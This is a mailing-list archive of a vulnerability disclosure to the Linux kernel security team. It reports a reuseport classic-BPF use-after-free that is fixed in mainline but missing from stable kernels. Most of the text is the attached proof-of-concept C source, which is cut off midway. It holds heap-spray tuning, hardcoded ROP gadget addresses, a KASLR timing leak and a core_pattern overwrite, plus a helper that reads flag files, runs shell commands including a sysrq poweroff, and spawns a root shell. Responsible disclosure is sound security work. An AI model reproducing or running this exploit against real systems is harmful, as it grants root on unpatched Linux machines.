* Exploitable reuseport cBPF UAF fixed in mainline but not backported to any stable/LTS
@ 2026-06-11 22:01 Zhenpeng (Leo) Lin
2026-06-12 7:38 ` Greg KH
0 siblings, 1 reply; 2+ messages in thread
From: Zhenpeng (Leo) Lin @ 2026-06-11 22:01 UTC (permalink / raw)
To: security; +Cc: stable, disclosures
[-- Attachment #1.1: Type: text/plain, Size: 2029 bytes --]
Hello Linux kernel security team,
We are reporting that an exploitable use-after-free, already fixed in
mainline, is currently missing from every stable/LTS branch. The fix
carries no Cc: stable tag, so it appears to have been overlooked for
backport.
Vulnerability
-------------
- Subsystem: net/core reuseport (SO_REUSEPORT classic-BPF path).
- Root cause: sk_reuseport_prog_free() frees a classic-BPF reuseport
program synchronously via bpf_prog_destroy(), with no RCU grace
period. reuseport_select_sock() reads and dereferences reuse->prog
under rcu_read_lock() only. An unprivileged thread can race prog
replacement (reuseport_attach_prog / reuseport_detach_prog from
setsockopt) against packet delivery, causing the RX path to use a
freed, vmalloc-backed struct bpf_prog.
- The freed object's bpf_func field becomes an attacker-controlled
indirect-call target.
Fix
---
- Mainline commit 18fc650ccd7f ("bpf: Free reuseport cBPF prog after
RCU grace period.", Kuniyuki Iwashima), first released in v7.1-rc3.
It defers the cBPF free with call_rcu().
- Fixes: 538950a1b752 ("soreuseport: setsockopt
SO_ATTACH_REUSEPORT_[CE]BPF"), present since v4.5. All kernels from
v4.5 onward are affected.
- The mainline commit has no Cc: stable tag.
Backport status
------------------------------------------------------------------
The fix is absent from all of the following:
linux-6.1.y (6.1.175)
linux-6.6.y (6.6.142)
linux-6.12.y (6.12.92)
linux-6.16.y (6.16.12)
linux-6.17.y (6.17.13)
linux-7.0.y (7.0.11)
Exploitability
--------------
We have a working exploit that turns this UAF into full local privilege
escalation. The freed vmalloc page is reclaimed with anonymous pipe
buffers (no unprivileged user namespaces required) to plant a fake
struct bpf_prog; the resulting controlled indirect call is used to run a
ROP chain that overwrites core_pattern and obtains root. It was
confirmed end-to-end against an unmodified 6.12.89 kernel.
Please see poc code attached.
Thanks!
Leo
[-- Attachment #1.2: Type: text/html, Size: 2350 bytes --]
[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 84158 bytes --]
/*
* BUG-02: SO_REUSEPORT cBPF UAF -> visible RIP marker via xtables counters.
*
* This variant avoids LDT descriptor encoding as the reclaim source. The
* spray is legacy iptables IPT_SO_SET_ADD_COUNTERS:
*
* xt_copy_counters()
* mem = vmalloc(counter_len);
* copy_from_user(mem, user_counters, counter_len);
*
* A userfaultfd fault on the final source page leaves the vmalloc allocation
* live after the preceding pages have been copied. The marker is placed at
* allocation offset +48,
* which is struct bpf_prog::bpf_func on this kernel.
*
* The literal 0xdeadbeefdeadbeef is non-canonical on x86_64. Use a canonical
* visible marker so a successful indirect call faults with RIP/CR2 at:
*
* 00007200deadbeef
*
* The xtables allocation is deliberately larger than the freed bpf_prog. The
* successful LDT experiment reclaimed the stale vmap address as one page inside
* a larger vmalloc allocation with the target value repeated at page+48. This
* version applies that geometry to a full-byte-controlled source: allocate 18
* pages, copy markers into the first 17 pages, then block on userfaultfd while
* copying the final page so the vmalloc allocation remains live.
*
* Build:
* gcc -O2 -static -pthread -Wall -Wextra -o \
* exploit/bug_02/poc_xt_visible_rip exploit/bug_02/poc_xt_visible_rip.c
*
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/membarrier.h>
#include <linux/netfilter/ipset/ip_set.h>
#include <linux/netfilter/x_tables.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/perf_event.h>
#include <linux/udp.h>
#include <linux/userfaultfd.h>
#include <netinet/in.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define PAGE_SZ 4096UL
#define TARGET_PORT 20000
#ifndef FINAL_KCTF_POC
#define FINAL_KCTF_POC 1
#endif
#if FINAL_KCTF_POC
#define KCTF_CORE_PATTERN_PAYLOAD 1
#define LOCAL_KCTF_SYMBOLS 0
#define PIPE_SPRAY 1
#define NO_USERNS 1
#define PIPE_FAKE_BPF_STRUCT 1
#define PIPE_FAKE_PROG_TYPE 21
#define PIPE_FILL_MARKER_QWORDS 1
#define TARGET_PROTO_TCP 0
#define CBPF_LEN 256
#define COUNTER_PAGES 1
#define DETACH_CYCLE 1
#define DETACH_PRE_SPRAY_US 0
#define DETACH_RECLAIM_US 0
#define DETACH_ATTACHED_US 20
#define SPRAY_WORKERS 2
#define BLOCKED_PER_WORKER 1
#define SPRAY_READY_START 2
#define PIPE_SLOTS 8192
#define PIPE_PAGES_PER_SLOT 16
#define PIPE_RLIMIT_NOFILE 30000
#define PIPE_PREFILL_PAGES 0
#define PIPE_WORKER_BATCH 64
#define PIPE_TRIGGER_SPRAY 1
#define PIPE_TRIGGER_BATCH 512
#define PIPE_TRIGGER_EVENTS 1
#define PIPE_MAX_WRITES 0
#define ONDEMAND_JOBS 1
#define ONDEMAND_PER_ATTACH 0
#define ONDEMAND_WAVES 0
#define SYNC_SPRAY_PER_ATTACH 0
#define PACKET_TAPS 0
#define SEND_SLEEP_MASK 0
#define SEND_THREADS 4
#define START_SEND_THREADS 1
#define DETACH_SEND_BURST 0
#define GATED_SEND 0
#define PRE_DETACH_GATE_US 0
#define SEND_GATE_US 0
#define IPI_THREADS 0
#define HRTIMER_IRQ_THREADS 0
#define THREAD_TIMER_IRQ 0
#define TIMERFD_IRQ 1
#define TIMERFD_IRQ_NS 10000
#define TIMERFD_EPOLL_CHILDREN 2
#define TIMERFD_EPOLL_DUPS 192
#define TIMERFD_EPOLL_FDS 144
#define RACE_SECONDS_DEFAULT 45
#define DISABLE_BPF_STATS_SYSCTL 1
#define ENABLE_BPF_STATS 0
#endif
#ifndef HIJACK_VAL
#define HIJACK_VAL 0x00007200deadbeefULL
#endif
#ifndef MFD_EXEC
#define MFD_EXEC 0x0010U
#endif
#ifndef KASLR_LEAK_CPU
#define KASLR_LEAK_CPU 1
#endif
#ifndef KERNEL_BASE_DELTA
#define KERNEL_BASE_DELTA 0
#endif
#ifndef CORE_PATTERN_DELTA
#define CORE_PATTERN_DELTA 0
#endif
#ifndef ROP_GADGET_DELTA
#define ROP_GADGET_DELTA 0
#endif
#ifndef HELPER_POWEROFF
#define HELPER_POWEROFF 1
#endif
/*
* kCTF core_pattern ROP variant.
*
* The official-image cBPF path reaches the indirect bpf_func call with:
*
* RAX = fake_prog->bpf_func
* RSI = fake_prog + 0x48
* R14 = fake_prog
* RDI = skb
*
* Use an unaligned executable .text gadget in thin_io_hints:
*
* 0xffffffff822ecaee:
* push rsi ; pop rsp ;
* mov eax, dword ptr [rax + 0x40] ;
* shl eax, 0xa ;
* mov dword ptr [rsi + 0x48], eax ;
* jmp __x86_return_thunk
*
* That pivots to fake_prog+0x48 and returns into qword 9. The dword write at
* fake_prog+0x90 lands on a harmless saved-register slot in the KPTI frame.
*/
#ifndef KCTF_CORE_PATTERN_PAYLOAD
#define KCTF_CORE_PATTERN_PAYLOAD 0
#endif
#ifndef PC_HIJACK_ONLY
#define PC_HIJACK_ONLY 0
#endif
#ifndef LOCAL_KCTF_SYMBOLS
#define LOCAL_KCTF_SYMBOLS 0
#endif
#define KTEXT_NOKASLR 0xffffffff81000000ULL
#if LOCAL_KCTF_SYMBOLS
#define CORE_PATTERN_NOKASLR 0xffffffff846117a0ULL
#define RSI_PIVOT_WRITE_RET_NOKASLR 0xffffffff822edf9eULL
#define POP_RDI_RET_NOKASLR 0xffffffff81062c6dULL
#define POP_RSI_RET_NOKASLR 0xffffffff810ce768ULL
#define POP_RDX_RET_NOKASLR 0xffffffff810b2daaULL
#define COPY_FROM_USER_NOKASLR 0xffffffff81b7e510ULL
#define KPTI_TRAMPOLINE_NOKASLR 0xffffffff82a01854ULL
#else
#define CORE_PATTERN_NOKASLR 0xffffffff84611720ULL
#define RSI_PIVOT_WRITE_RET_NOKASLR 0xffffffff822ecaeeULL
#define POP_RDI_RET_NOKASLR 0xffffffff81178b14ULL
#define POP_RSI_RET_NOKASLR 0xffffffff8100a65eULL
#define POP_RDX_RET_NOKASLR 0xffffffff8110cf02ULL
#define COPY_FROM_USER_NOKASLR 0xffffffff81b7d3b0ULL
#define KPTI_TRAMPOLINE_NOKASLR 0xffffffff82a01854ULL
#endif
#define KCTF_CORE_CMD_ADDR 0x0000000000a00000ULL
#define KCTF_USER_RET_STACK 0x0000000070000000ULL
#define KCTF_USER_RET_STACK_SIZE 0x10000UL
#ifndef TARGET_PROTO_TCP
#define TARGET_PROTO_TCP 0
#endif
#ifndef SPRAY_IPSET
#define SPRAY_IPSET 0
#endif
#ifndef PIPE_SPRAY
#define PIPE_SPRAY 0
#endif
#ifndef NO_USERNS
#define NO_USERNS PIPE_SPRAY
#endif
/*
* 256 cBPF insns keeps the freed bpf_prog in the one-page geometry that the
* larger-vmalloc LDT reclaim experiment hit reliably.
*/
#ifndef CBPF_LEN
#define CBPF_LEN 512
#endif
#ifndef EARLY_RET_FILTER
#define EARLY_RET_FILTER 1
#endif
#ifndef FIRST_RET_FILTER
#define FIRST_RET_FILTER 0
#endif
/*
* xtables counter vmalloc size. A 512-insn classic BPF program rounds up to
* a 2-page bpf_prog allocation. Use the same 2-page size for the controlled
* xtables allocation so the vmap pool can reuse the freed bpf_prog area by
* exact size. Fault the final source page by default so all previous pages,
* including offset +48, have already been copied while the allocation remains
* live in xt_copy_counters().
*/
#ifndef COUNTER_PAGES
#define COUNTER_PAGES 2
#endif
#define COUNTER_BYTES (PAGE_SZ * COUNTER_PAGES)
#ifndef FAULT_USER_PAGE_INDEX
#define FAULT_USER_PAGE_INDEX (COUNTER_PAGES - 1)
#endif
#ifndef SPRAY_WORKERS
#define SPRAY_WORKERS 2
#endif
#ifndef BLOCKED_PER_WORKER
#define BLOCKED_PER_WORKER 64
#endif
#ifndef SPRAY_READY_START
#define SPRAY_READY_START 16
#endif
#ifndef PIPE_SLOTS
#define PIPE_SLOTS 2048
#endif
#ifndef PIPE_PAGES_PER_SLOT
#define PIPE_PAGES_PER_SLOT 1
#endif
#ifndef PIPE_RLIMIT_NOFILE
#define PIPE_RLIMIT_NOFILE 65536
#endif
#ifndef PIPE_PREFILL_PAGES
#define PIPE_PREFILL_PAGES 512
#endif
#ifndef PIPE_WORKER_BATCH
#define PIPE_WORKER_BATCH 32
#endif
#ifndef PIPE_WORKER_SLEEP_US
#define PIPE_WORKER_SLEEP_US 0
#endif
#ifndef PIPE_FAKE_BPF_STRUCT
#define PIPE_FAKE_BPF_STRUCT 1
#endif
#ifndef PIPE_FAKE_PROG_TYPE
#define PIPE_FAKE_PROG_TYPE 0
#endif
#ifndef PIPE_FILL_MARKER_QWORDS
#define PIPE_FILL_MARKER_QWORDS PIPE_FAKE_BPF_STRUCT
#endif
#ifndef PIPE_DETACH_BURST
#define PIPE_DETACH_BURST 0
#endif
#ifndef PIPE_MAX_WRITES
#define PIPE_MAX_WRITES 0
#endif
#ifndef PIPE_TRIGGER_SPRAY
#define PIPE_TRIGGER_SPRAY 0
#endif
#ifndef PIPE_TRIGGER_BATCH
#define PIPE_TRIGGER_BATCH PIPE_WORKER_BATCH
#endif
#ifndef PIPE_TRIGGER_EVENTS
#define PIPE_TRIGGER_EVENTS 1
#endif
/*
* Pre-created in-process workers. Each worker sleeps until attach_loop()
* releases it immediately after an old reuseport prog has been detached or
* replaced. The worker then enters xt_copy_counters(), copies page+48 markers
* into the fresh vmalloc area, and blocks on a userfaultfd fault on the final
* source page. This keeps the controlled vmalloc allocation live at the point
* where RX may still hold the stale struct bpf_prog pointer.
*/
#ifndef ONDEMAND_JOBS
#define ONDEMAND_JOBS 512
#endif
#ifndef ONDEMAND_PER_ATTACH
#define ONDEMAND_PER_ATTACH 16
#endif
#ifndef ONDEMAND_WAVES
#define ONDEMAND_WAVES 1
#endif
#ifndef ONDEMAND_WAVE_DELAY_US
#define ONDEMAND_WAVE_DELAY_US 0
#endif
#ifndef ONDEMAND_DELAY_US
#define ONDEMAND_DELAY_US 0
#endif
#ifndef ONDEMAND_HOLD_US
#define ONDEMAND_HOLD_US 50000
#endif
#ifndef SYNC_SPRAY_PER_ATTACH
#define SYNC_SPRAY_PER_ATTACH 2
#endif
#ifndef SYNC_ASYNC_SPRAY
#define SYNC_ASYNC_SPRAY 0
#endif
#ifndef SYNC_ASYNC_MAX_OUTSTANDING
#define SYNC_ASYNC_MAX_OUTSTANDING 64
#endif
#ifndef SYNC_ASYNC_WORKERS
#define SYNC_ASYNC_WORKERS 32
#endif
#ifndef INLINE_BLOCK_SPRAY
#define INLINE_BLOCK_SPRAY 0
#endif
#ifndef INLINE_HOLD_US
#define INLINE_HOLD_US 200
#endif
#ifndef DETACH_CYCLE
#define DETACH_CYCLE 0
#endif
#ifndef DETACH_PRE_SPRAY_US
#define DETACH_PRE_SPRAY_US 0
#endif
#ifndef DETACH_YIELD_COUNT
#define DETACH_YIELD_COUNT 0
#endif
#ifndef DETACH_IPI_BEFORE_SPRAY
#define DETACH_IPI_BEFORE_SPRAY 0
#endif
#ifndef DETACH_IPI_AFTER_SPRAY
#define DETACH_IPI_AFTER_SPRAY 0
#endif
#ifndef DETACH_RECLAIM_US
#define DETACH_RECLAIM_US 50
#endif
#ifndef DETACH_ATTACHED_US
#define DETACH_ATTACHED_US 10
#endif
#ifndef REPLACE_DETACH_INTERVAL
#define REPLACE_DETACH_INTERVAL 8
#endif
#ifndef ENABLE_BPF_STATS
#define ENABLE_BPF_STATS 0
#endif
#ifndef DISABLE_BPF_STATS_SYSCTL
#define DISABLE_BPF_STATS_SYSCTL 1
#endif
#ifndef XT_LOCK_HOLDER
#define XT_LOCK_HOLDER 0
#endif
#ifndef XT_LOCK_HOLD_US
#define XT_LOCK_HOLD_US 1000
#endif
#ifndef XT_LOCK_WAIT_US
#define XT_LOCK_WAIT_US 0
#endif
#ifndef USE_EBPF_REUSEPORT
#define USE_EBPF_REUSEPORT 0
#endif
#ifndef DYNAMIC_EBPF_REUSEPORT
#define DYNAMIC_EBPF_REUSEPORT 0
#endif
#ifndef EBPF_LEN
#define EBPF_LEN 512
#endif
#ifndef PURGE_BEFORE_SPRAY
#define PURGE_BEFORE_SPRAY 0
#endif
#ifndef PURGE_CBPF_LEN
#define PURGE_CBPF_LEN 4096
#endif
#ifndef FAKE_SK_REUSEPORT_TYPE
#define FAKE_SK_REUSEPORT_TYPE 1
#endif
#ifndef FILL_MARKER_QWORDS
#define FILL_MARKER_QWORDS 0
#endif
#ifndef PAD_PAIR
#define PAD_PAIR 0
#endif
#ifndef ONDEMAND_PIN_CPU
#define ONDEMAND_PIN_CPU -1
#endif
#define IPI_REGION_SIZE PAGE_SZ
#ifndef IPI_THREADS
#define IPI_THREADS 1
#endif
#ifndef PACKET_TAPS
#define PACKET_TAPS 32
#endif
#ifndef SEND_BYTES
#define SEND_BYTES 512
#endif
#ifndef SEND_GSO
#define SEND_GSO 0
#endif
#ifndef SEND_ZEROCOPY
#define SEND_ZEROCOPY 0
#endif
#ifndef SEND_THREADS
#define SEND_THREADS 1
#endif
#ifndef START_SEND_THREADS
#define START_SEND_THREADS 1
#endif
#ifndef DETACH_SEND_BURST
#define DETACH_SEND_BURST 0
#endif
#ifndef GATED_SEND
#define GATED_SEND 0
#endif
#ifndef PRE_DETACH_GATE_US
#define PRE_DETACH_GATE_US 0
#endif
#ifndef SEND_GATE_US
#define SEND_GATE_US 0
#endif
#ifndef SEND_SLEEP_MASK
#define SEND_SLEEP_MASK 0xf
#endif
#ifndef PERF_IRQ
#define PERF_IRQ 0
#endif
#ifndef PERF_IRQ_PERIOD
#define PERF_IRQ_PERIOD 10000
#endif
#ifndef HRTIMER_IRQ_THREADS
#define HRTIMER_IRQ_THREADS 0
#endif
#ifndef HRTIMER_IRQ_NS
#define HRTIMER_IRQ_NS 1000
#endif
#ifndef THREAD_TIMER_IRQ
#define THREAD_TIMER_IRQ 0
#endif
#ifndef THREAD_TIMER_IRQ_NS
#define THREAD_TIMER_IRQ_NS 1000
#endif
#ifndef THREAD_TIMER_SIGNAL
#define THREAD_TIMER_SIGNAL (SIGRTMIN + 1)
#endif
#ifndef SIGEV_THREAD_ID
#define SIGEV_THREAD_ID 4
#endif
#ifndef TIMERFD_IRQ
#define TIMERFD_IRQ 0
#endif
#ifndef TIMERFD_IRQ_NS
#define TIMERFD_IRQ_NS 20000
#endif
#ifndef TIMERFD_EPOLL_CHILDREN
#define TIMERFD_EPOLL_CHILDREN 2
#endif
#ifndef TIMERFD_EPOLL_DUPS
#define TIMERFD_EPOLL_DUPS 128
#endif
#ifndef TIMERFD_EPOLL_FDS
#define TIMERFD_EPOLL_FDS 96
#endif
#ifndef TIMERFD_PIN_CPU
#define TIMERFD_PIN_CPU 1
#endif
#ifndef RACE_SECONDS_DEFAULT
#define RACE_SECONDS_DEFAULT 60
#endif
#ifndef SOL_UDP
#define SOL_UDP IPPROTO_UDP
#endif
static atomic_int stop_flag;
static atomic_long attach_iters, drain_total, send_total, spray_ready;
static atomic_long fast_sprays, ipi_count, spray_timeouts, sync_sprays;
static atomic_long sync_async_outstanding, sync_async_skips;
static atomic_long sync_async_jobs;
static atomic_long ondemand_launched, ondemand_returned, inline_sprays;
static atomic_long detach_ok, detach_enoent, detach_einval, detach_other;
static atomic_long xt_lock_faults, xt_lock_gets, xt_lock_fails;
static atomic_long xt_lock_waits, xt_lock_wait_miss;
static atomic_long perf_irq_ok, perf_irq_fail, perf_irq_signal;
static atomic_long hrtimer_irq_expirations, hrtimer_irq_fail;
static atomic_long thread_timer_irq_ok, thread_timer_irq_fail;
static atomic_long thread_timer_signal;
static atomic_long timerfd_irq_ok, timerfd_irq_fail, timerfd_irq_expirations;
static atomic_int xt_lock_active;
static atomic_int send_gate;
static unsigned race_seconds = RACE_SECONDS_DEFAULT;
static int bpf_stats_fd = -1;
static int bpf_stats_errno;
static int xt_lock_fd = -1;
static int timerfd_irq_fd = -1;
static pid_t timerfd_irq_pids[TIMERFD_EPOLL_CHILDREN];
static uint64_t kernel_base = KTEXT_NOKASLR;
static uint64_t hijack_val = HIJACK_VAL;
static uint64_t core_pattern_addr = CORE_PATTERN_NOKASLR;
#if KCTF_CORE_PATTERN_PAYLOAD
static uint64_t user_cs, user_ss, user_rflags;
static void *user_ret_stack;
static volatile int rop_done;
#endif
static struct sock_fprog prog0, prog1, purge_prog0, purge_prog1;
static int eprog0 = -1, eprog1 = -1;
static int purge_fd = -1;
static pid_t spray_pids[SPRAY_WORKERS];
static int pipe_trigger_rfd = -1, pipe_trigger_wfd = -1;
static int spray_needs_namespace = !NO_USERNS;
static int sync_spray_fd = -1;
static char *sync_spray_buf;
static size_t sync_spray_alloc;
struct pipe_slot {
int rfd;
int wfd;
};
static struct pipe_slot pipe_slots[PIPE_SLOTS];
static pthread_mutex_t pipe_spray_lock = PTHREAD_MUTEX_INITIALIZER;
static int pipe_spray_inited;
static char *pipe_spray_page;
static unsigned pipe_spray_next;
struct ondemand_job {
pthread_mutex_t lock;
pthread_cond_t cond;
int go;
int busy;
int id;
int uffd;
void *buf;
void *fault_page;
size_t total;
pthread_t th;
pthread_t handler_th;
};
static struct ondemand_job od_jobs[ONDEMAND_JOBS];
static atomic_int od_next;
static char *uffd_release_page;
static struct ondemand_job inline_job;
static void *ipi_region_global;
#if KCTF_CORE_PATTERN_PAYLOAD
static void trigger_core_pattern_helper(void);
static void save_user_state(void) {
asm volatile("mov %%cs, %0\n"
"mov %%ss, %1\n"
"pushfq\n"
"pop %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
: "memory");
}
__attribute__((naked, noreturn, noinline)) static void rop_landed(void) {
asm volatile("movl $1, rop_done(%%rip)\n"
"1: pause\n"
"jmp 1b\n"
:
:
: "memory");
}
#endif
static void die(const char *msg) {
perror(msg);
_exit(1);
}
static uint64_t kaddr(uint64_t nokaslr_addr) {
return kernel_base + (nokaslr_addr - KTEXT_NOKASLR) + ROP_GADGET_DELTA;
}
static uint64_t core_kaddr(uint64_t nokaslr_addr) {
return kernel_base + (nokaslr_addr - KTEXT_NOKASLR) + CORE_PATTERN_DELTA;
}
static void write_flag_copy(const char *path, const char *buf, ssize_t len) {
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0777);
if (fd < 0)
return;
(void)write(fd, buf, len);
close(fd);
chmod(path, 0777);
}
static void write_flag_fd_path(const char *path, const char *buf, ssize_t len) {
int fd = open(path, O_WRONLY);
if (fd < 0)
return;
(void)write(fd, buf, len);
if (buf[len - 1] != '\n')
(void)write(fd, "\n", 1);
close(fd);
}
static void write_all_fd(int fd, const char *buf, size_t len) {
while (len) {
ssize_t n = write(fd, buf, len);
if (n > 0) {
buf += n;
len -= n;
continue;
}
if (n < 0 && errno == EINTR)
continue;
break;
}
}
static void write_helper_broadcast(const char *buf, ssize_t len) {
const char *paths[] = {"/dev/console", "/dev/ttyS0", "/proc/1/fd/1"};
if (len <= 0)
return;
for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
int fd = open(paths[i], O_WRONLY | O_NOCTTY);
if (fd < 0)
continue;
write_all_fd(fd, buf, (size_t)len);
if (buf[len - 1] != '\n')
write_all_fd(fd, "\n", 1);
close(fd);
}
}
static ssize_t read_flag_any(const char *pid_arg, char *buf, size_t size) {
const char *flag_paths[] = {"/flag", "/dev/vdb", "/chroot/flag",
"/proc/1/root/flag", "/proc/1/root/dev/vdb"};
char pid_path[3][128];
if (!size)
return -1;
if (pid_arg && *pid_arg) {
snprintf(pid_path[0], sizeof(pid_path[0]), "/proc/%s/root/flag", pid_arg);
snprintf(pid_path[1], sizeof(pid_path[1]), "/proc/%s/root/dev/vdb",
pid_arg);
snprintf(pid_path[2], sizeof(pid_path[2]), "/proc/%s/root/chroot/flag",
pid_arg);
for (size_t i = 0; i < sizeof(pid_path) / sizeof(pid_path[0]); i++) {
int fd = open(pid_path[i], O_RDONLY);
ssize_t n;
if (fd < 0)
continue;
n = read(fd, buf, size - 1);
close(fd);
if (n > 0)
return n;
}
}
for (size_t i = 0; i < sizeof(flag_paths) / sizeof(flag_paths[0]); i++) {
int fd = open(flag_paths[i], O_RDONLY);
ssize_t n;
if (fd < 0)
continue;
n = read(fd, buf, size - 1);
close(fd);
if (n > 0)
return n;
}
return -1;
}
static void helper_mode(const char *pid_arg) {
char buf[512];
ssize_t n = -1;
int have_parent_stdio = 0;
if (pid_arg && *pid_arg) {
int pid = (int)strtoull(pid_arg, NULL, 10);
int pfd = syscall(SYS_pidfd_open, pid, 0);
if (pfd >= 0) {
int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
if (stdinfd >= 0)
dup2(stdinfd, STDIN_FILENO);
if (stdoutfd >= 0) {
dup2(stdoutfd, STDOUT_FILENO);
have_parent_stdio = 1;
}
if (stderrfd >= 0)
dup2(stderrfd, STDERR_FILENO);
if (stdinfd >= 0)
close(stdinfd);
if (stdoutfd >= 0)
close(stdoutfd);
if (stderrfd >= 0)
close(stderrfd);
close(pfd);
}
}
if (have_parent_stdio) {
puts("Root shell !!");
write_helper_broadcast("core_helper_started\n", 20);
n = read_flag_any(pid_arg, buf, sizeof(buf));
if (n > 0) {
buf[n] = 0;
(void)write(STDOUT_FILENO, buf, n);
if (buf[n - 1] != '\n')
(void)write(STDOUT_FILENO, "\n", 1);
write_helper_broadcast(buf, n);
write_flag_copy("/tmp/flag", buf, n);
if (pid_arg && *pid_arg) {
char path[128];
snprintf(path, sizeof(path), "/proc/%s/root/tmp/flag", pid_arg);
write_flag_copy(path, buf, n);
snprintf(path, sizeof(path), "/proc/%s/fd/1", pid_arg);
write_flag_fd_path(path, buf, n);
}
} else
write_helper_broadcast("core_helper_flag_read_failed\n", 29);
fflush(stdout);
system("cat /flag;cat /proc/1/root/flag;cat /dev/vdb");
system("whoami;id");
sleep(3);
#if HELPER_POWEROFF
system("cat /flag;echo o>/proc/sysrq-trigger");
#endif
fflush(stdout);
execlp("sh", "sh", NULL);
}
n = read_flag_any(pid_arg, buf, sizeof(buf));
if (n <= 0)
_exit(1);
buf[n] = 0;
(void)write(STDOUT_FILENO, buf, n);
if (buf[n - 1] != '\n')
(void)write(STDOUT_FILENO, "\n", 1);
write_flag_copy("/tmp/flag", buf, n);
if (pid_arg && *pid_arg) {
char path[128];
snprintf(path, sizeof(path), "/proc/%s/root/tmp/flag", pid_arg);
write_flag_copy(path, buf, n);
snprintf(path, sizeof(path), "/proc/%s/fd/1", pid_arg);
write_flag_fd_path(path, buf, n);
}
_exit(0);
}
static void copy_self_to_fd(int outfd) {
int infd = open("/proc/self/exe", O_RDONLY);
if (infd < 0)
return;
for (;;) {
ssize_t n = sendfile(outfd, infd, NULL, 0x100000);
if (n > 0)
continue;
if (n < 0 && errno == EINTR)
continue;
break;
}
close(infd);
lseek(outfd, 0, SEEK_SET);
}
static void write_file_checked(const char *path, const char *data,
mode_t mode) {
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
size_t len = strlen(data);
ssize_t n;
if (fd < 0)
die(path);
n = write(fd, data, len);
if (n != (ssize_t)len)
die("write helper");
close(fd);
chmod(path, mode);
}
static void setup_core_pattern_payload(void) {
#if KCTF_CORE_PATTERN_PAYLOAD
char *cmd;
cmd = mmap((void *)KCTF_CORE_CMD_ADDR, PAGE_SZ, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, -1, 0);
if (cmd == MAP_FAILED && errno == EEXIST)
cmd = mmap((void *)KCTF_CORE_CMD_ADDR, PAGE_SZ, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (cmd == MAP_FAILED)
die("mmap core cmd");
memset(cmd, 0, PAGE_SZ);
strcpy(cmd, "|/proc/%P/fd/666 %P");
user_ret_stack =
mmap((void *)KCTF_USER_RET_STACK, KCTF_USER_RET_STACK_SIZE,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, -1, 0);
if (user_ret_stack == MAP_FAILED && errno == EEXIST)
user_ret_stack = mmap((void *)KCTF_USER_RET_STACK, KCTF_USER_RET_STACK_SIZE,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (user_ret_stack == MAP_FAILED)
die("mmap ret stack");
for (size_t off = 0; off < KCTF_USER_RET_STACK_SIZE; off += PAGE_SZ)
((volatile char *)user_ret_stack)[off] = 0;
((volatile char *)user_ret_stack)[KCTF_USER_RET_STACK_SIZE - 1] = 0;
rop_done = 0;
save_user_state();
printf("core_payload=rop cmd=0x%llx core_pattern=0x%llx pivot=0x%llx "
"helper=/proc/%%P/fd/666 ret=%p stack=0x%llx\n",
(unsigned long long)KCTF_CORE_CMD_ADDR,
(unsigned long long)core_pattern_addr, (unsigned long long)hijack_val,
rop_landed,
(unsigned long long)(KCTF_USER_RET_STACK + KCTF_USER_RET_STACK_SIZE -
0x10));
#endif
}
static void trigger_core_pattern_helper(void) {
#if KCTF_CORE_PATTERN_PAYLOAD
struct rlimit rl = {RLIM_INFINITY, RLIM_INFINITY};
pid_t pid;
setrlimit(RLIMIT_CORE, &rl);
pid = fork();
if (pid == 0) {
int fd = syscall(SYS_memfd_create, "", MFD_EXEC);
if (fd >= 0) {
copy_self_to_fd(fd);
dup2(fd, 666);
if (fd != 666)
close(fd);
}
*(volatile int *)0 = 0x41414141;
_exit(1);
}
if (pid > 0)
waitpid(pid, NULL, 0);
for (int i = 0; i < 150; i++) {
char buf[256];
int fd = open("/tmp/flag", O_RDONLY);
ssize_t n;
if (fd >= 0) {
n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n > 0) {
buf[n] = 0;
printf("core_pattern_flag=%s\n", buf);
return;
}
}
usleep(100000);
}
printf("core_pattern_flag=not_observed\n");
#endif
}
#if KCTF_CORE_PATTERN_PAYLOAD
static void *core_pattern_monitor(void *arg) {
(void)arg;
while (!rop_done && !atomic_load(&stop_flag))
usleep(1000);
if (rop_done) {
printf("rop_landed=1\n");
trigger_core_pattern_helper();
_exit(0);
}
return NULL;
}
#endif
static void pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
sched_setaffinity(0, sizeof(set), &set);
}
#if KCTF_CORE_PATTERN_PAYLOAD
#define KASLR_SCAN_START KTEXT_NOKASLR
#define KASLR_SCAN_END 0xffffffffd0000000ULL
#define KASLR_SCAN_STEP 0x1000000ULL
#define KASLR_NUM_VOTES 7
#define KASLR_SAMPLES_PER_ADDR 16
#define KASLR_SCAN_ENTRIES \
((KASLR_SCAN_END - KASLR_SCAN_START) / KASLR_SCAN_STEP)
static inline __attribute__((always_inline)) uint64_t rdtsc_begin(void) {
uint64_t a, d;
asm volatile("mfence\n\t"
"rdtscp\n\t"
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"xor %%rax, %%rax\n\t"
